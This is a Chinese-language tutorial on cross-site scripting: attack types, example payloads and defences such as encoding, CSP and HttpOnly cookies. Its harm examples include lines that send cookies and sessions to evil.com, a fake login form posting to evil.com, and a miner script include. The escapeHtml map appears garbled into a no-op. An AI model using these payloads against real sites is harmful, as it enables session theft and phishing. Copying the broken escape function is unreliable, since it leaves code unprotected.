Appearance
XSS 跨站脚本攻击
概述
XSS (Cross-Site Scripting) 跨站脚本攻击是一种常见的 Web 安全漏洞,攻击者通过在网页中注入恶意脚本,窃取用户信息或执行恶意操作。
攻击原理
XSS 攻击的核心是:攻击者向网页注入恶意脚本,浏览器将其作为正常脚本执行。
用户请求 → 服务器返回页面 → 页面包含恶意脚本 → 浏览器执行脚本 → 攻击成功攻击类型
1. 反射型 XSS (Reflected XSS)
特点:恶意脚本来自 URL 参数,服务器将其反射回页面。
攻击示例:
javascript
// URL: https://example.com/search?q=<script>alert('XSS')</script>
// 服务器代码(不安全)
app.get('/search', (req, res) => {
const query = req.query.q
res.send(`搜索结果: ${query}`) // 直接输出用户输入
})
// 浏览器执行
// 搜索结果: <script>alert('XSS')</script>攻击流程:
- 攻击者构造恶意 URL
- 诱骗用户点击链接
- 服务器将恶意代码反射回页面
- 浏览器执行恶意脚本
2. 存储型 XSS (Stored XSS)
特点:恶意脚本被存储在服务器(数据库、文件等),所有访问该页面的用户都会受到攻击。
攻击示例:
javascript
// 攻击者在评论中提交恶意脚本
const comment = '<script>steal(document.cookie)</script>'
// 服务器存储评论
db.saveComment(comment)
// 其他用户访问时
app.get('/comments', (req, res) => {
const comments = db.getComments()
res.send(comments.map(c => `<div>${c}</div>`).join(''))
})
// 所有用户都会执行恶意脚本攻击场景:
- 论坛帖子
- 用户评论
- 用户资料
- 聊天消息
3. DOM 型 XSS (DOM-based XSS)
特点:恶意脚本不经过服务器,完全在客户端通过 DOM 操作注入。
攻击示例:
javascript
// 不安全的 DOM 操作
const input = location.hash.slice(1) // 从 URL 获取
document.body.innerHTML = `Hello ${input}` // 直接插入 HTML
// URL: https://example.com#<img src=x onerror=alert(1)>
// 浏览器执行: <img src=x onerror=alert(1)>攻击危害
1. 窃取 Cookie
javascript
// 恶意脚本
<script>
new Image().src = 'https://evil.com/steal?cookie=' + document.cookie
</script>2. 劫持会话
javascript
// 窃取 session token
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
session: document.cookie,
url: location.href
})
})
</script>3. 钓鱼攻击
javascript
// 伪造登录表单
<script>
document.body.innerHTML = `
<form action="https://evil.com/phish" method="POST">
<input name="username" placeholder="用户名">
<input name="password" type="password" placeholder="密码">
<button>登录</button>
</form>
`
</script>4. 挖矿脚本
javascript
// 使用用户 CPU 挖矿
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
</script>防御措施
1. 输出编码 (Output Encoding)
原则:将特殊字符转换为 HTML 实体,防止浏览器将其解析为代码。
javascript
// HTML 编码
function escapeHtml(str) {
const escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
}
return str.replace(/[&<>"'/]/g, char => escapeMap[char])
}
// 使用
const userInput = '<script>alert(1)</script>'
const safeOutput = escapeHtml(userInput)
// 结果: <script>alert(1)</script>
// 在 HTML 中使用
element.innerHTML = `<div>${escapeHtml(userInput)}</div>`不同上下文的编码:
javascript
// HTML 内容
element.textContent = userInput // 安全
element.innerHTML = escapeHtml(userInput) // 安全
// HTML 属性
element.setAttribute('data-value', userInput)
// JavaScript 变量
const safeJson = JSON.stringify(userInput)
// URL 参数
const safeUrl = encodeURIComponent(userInput)2. CSP (内容安全策略)
作用:限制浏览器只能加载指定来源的资源,防止内联脚本执行。
http
// HTTP Header
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.gstatic.com;
frame-src 'none';html
<!-- HTML Meta 标签 -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' https://cdn.example.com;
">CSP 指令说明:
default-src: 默认资源来源script-src: JavaScript 来源style-src: CSS 来源img-src: 图片来源connect-src: AJAX/WebSocket 来源font-src: 字体来源frame-src: iframe 来源
3. HttpOnly Cookie
作用:防止 JavaScript 访问 Cookie,即使发生 XSS 攻击也无法窃取 Cookie。
http
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict属性说明:
HttpOnly: JavaScript 无法访问Secure: 只在 HTTPS 下传输SameSite: 防止 CSRF 攻击
4. 使用安全的框架
Vue 自动转义:
vue
<template>
<!-- 自动转义,安全 -->
<div>{{ userInput }}</div>
<!-- 危险!不要使用 v-html -->
<div v-html="userInput"></div>
</template>React 自动转义:
jsx
function SafeComponent({ userInput }) {
// 自动转义,安全
return <div>{userInput}</div>
}
// 危险!不要使用 dangerouslySetInnerHTML
function UnsafeComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}5. 输入验证
白名单验证:
javascript
function validateInput(input) {
// 只允许字母、数字、下划线、连字符
const allowedPattern = /^[a-zA-Z0-9_-]+$/
if (!allowedPattern.test(input)) {
throw new Error('Invalid input')
}
return input
}长度限制:
javascript
function validateLength(input, maxLength = 100) {
if (input.length > maxLength) {
throw new Error('Input too long')
}
return input
}XSS 检测工具
1. 自动化扫描
bash
# OWASP ZAP
zap-cli quick-scan https://example.com
# XSStrike
python xsstrike.py -u "https://example.com/search?q=test"2. 浏览器插件
- XSS-Ray
- XSS Chef
- Burp Suite
最佳实践
1. 永远不要信任用户输入
javascript
// ❌ 错误
element.innerHTML = userInput
// ✅ 正确
element.textContent = userInput
element.innerHTML = escapeHtml(userInput)2. 使用安全的 API
javascript
// ❌ 危险
element.innerHTML = userInput
document.write(userInput)
eval(userInput)
// ✅ 安全
element.textContent = userInput
element.setAttribute('data-value', userInput)3. 最小权限原则
http
// 只允许必要的资源
Content-Security-Policy: default-src 'self'; script-src 'self'4. 定期安全审计
- 代码审查
- 自动化扫描
- 渗透测试